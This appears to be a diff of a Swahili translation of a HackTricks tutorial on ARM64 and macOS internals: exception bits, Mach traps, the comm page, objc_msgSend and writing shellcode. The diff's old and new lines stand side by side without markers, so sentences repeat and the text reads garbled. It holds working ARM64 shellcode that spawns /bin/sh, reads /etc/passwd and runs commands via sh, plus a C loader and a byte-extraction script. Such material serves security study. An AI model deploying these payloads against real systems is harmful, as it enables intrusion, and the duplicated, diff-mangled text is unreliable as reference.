- **Vipande vya Hali na Kizuizi cha Kipekee** (0-4): Vinabainisha hali ya sasa ya utekelezaji. Ya tano inaonyesha ikiwa programu inaendeshwa kama biti 32 (1) au biti 64 (0). Zingine 4 zinaonyesha **hali ya kipekee inayotumiwa kwa sasa** (wakati kipekee inatokea na inashughulikiwa). Nambari iliyowekwa inaonyesha kipaumbele cha sasa ikiwa kipekee nyingine itaanzishwa wakati huu inashughulikiwa.
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
- **`AIF`**: Baadhi ya kipekee zinaweza kuzimwa kwa kutumia vipande **`A`**, `I`, `F`. Ikiwa **`A`** ni 1 inamaanisha **kuzimwa kwa ghafla** kutafanyika. **`I`** inaconfigure kujibu kwa vifaa vya nje vya **Ombi la Kuingilia** (IRQs). na F inahusiana na **Ombi la Kuingilia Haraka** (FIRs).
- **`AIF`**: Baadhi ya kipekee zinaweza kuzimwa kwa kutumia vipande **`A`**, `I`, `F`. Ikiwa **`A`** ni 1 inamaanisha **kuzimwa kwa kiholela** kutafanyika. **`I`** inaconfigure kujibu kwa vifaa vya nje vya **Ombi la Kuingilia** (IRQs). na F inahusiana na **Ombi la Kuingilia Haraka** (FIRs).
## macOS
@ -334,9 +334,9 @@ Angalia [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3
### Mach Traps
Angalia katika [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) `mach_trap_table` na katika [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) mifano. Idadi ya juu ya Mach traps ni `MACH_TRAP_TABLE_COUNT` = 128. Mach traps zitakuwa na **x16 < 0**, hivyo unahitaji kuita nambari kutoka kwa orodha ya awali na **hasi**: **`_kernelrpc_mach_vm_allocate_trap`** ni **`-10`**.
Angalia katika [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) `mach_trap_table` na katika [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) mifano. Idadi ya juu ya Mach traps ni `MACH_TRAP_TABLE_COUNT` = 128. Mach traps zitakuwa na **x16 < 0**, hivyo unahitaji kuita nambari kutoka kwa orodha ya awali na **hasi**: **`_kernelrpc_mach_vm_allocate_trap`** ni **`-10`.
Unaweza pia kuangalia **`libsystem_kernel.dylib`** katika disassembler kupata jinsi ya kuita hizi (na BSD) syscalls:
Unaweza pia kuangalia **`libsystem_kernel.dylib`** katika disassembler ili kujua jinsi ya kuita hizi (na BSD) syscalls:
{% code overflow="wrap" %}
```bash
@ -354,13 +354,13 @@ Maranyingi ni rahisi kuangalia **msimbo uliopanguliwa** kutoka **`libsystem_kern
### machdep calls
XNU inasaidia aina nyingine ya wito unaoitwa tegemezi wa mashine. Idadi ya wito hawa inategemea usanifu na wala wito au idadi haihakikishiwi kubaki thabiti.
XNU inasaidia aina nyingine ya wito unaoitwa tegemezi wa mashine. Idadi ya wito hawa inategemea usanifu na wala wito au idadi haihakikishi kubaki thabiti.
### ukurasa wa comm
Huu ni ukurasa wa kumbukumbu ya mmiliki wa kernel ambao umepangwa katika eneo la anwani ya kila mchakato wa mtumiaji. Lengo lake ni kufanya mpito kutoka hali ya mtumiaji hadi nafasi ya kernel haraka kuliko kutumia syscalls kwa huduma za kernel ambazo hutumiwa sana mpito huu ungekuwa wa ufanisi mdogo.
Kwa mfano, wito wa `gettimeofdate` unasoma thamani ya `timeval` moja kwa moja kutoka kwa ukurasa wa comm.
Kwa mfano, wito `gettimeofdate` unasoma thamani ya `timeval` moja kwa moja kutoka kwa ukurasa wa comm.
### objc\_msgSend
@ -370,7 +370,7 @@ Parameta ([maelezo zaidi katika nyaraka](https://developer.apple.com/documentati
* x0: self -> Kiashiria kwa kipengee
* x1: op -> Chaguo la njia
* x2... -> Mengine ya hoja za njia inayoitwa
* x2... -> Mengine ya hoja za njia iliyoitwa
Kwa hivyo, ikiwa unaweka kizuizi kabla ya tawi kwa kazi hii, unaweza kwa urahisi kugundua ni nini kinachoitwa katika lldb na (katika mfano huu kitu kinaita kitu kutoka `NSConcreteTask` ambacho kitatekeleza amri):
```
@ -399,7 +399,7 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
```
Kuondoa baits:
Kutoa baits:
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
@ -408,7 +408,7 @@ done
```
<details>
<summary>Msimbo wa C kwa ajili ya kujaribu shellcode</summary>
<summary>Msimbo wa C kufanya majaribio ya shellcode</summary>
```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
@ -506,6 +506,24 @@ mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
```
{% endtab %}
{% tab title="na adr kwa linux" %}
```armasm
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
```
#### Soma kwa kutumia cat
@ -535,7 +553,7 @@ cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
```
#### Amuru amri kwa kutumia sh kutoka kwa tawi ili mchakato mkuu usiuawe
#### Itaamsha amri na sh kutoka kwa tawi ili mchakato mkuu usiuawe
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -734,7 +752,7 @@ svc #0x1337
```
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
@ -742,6 +760,6 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>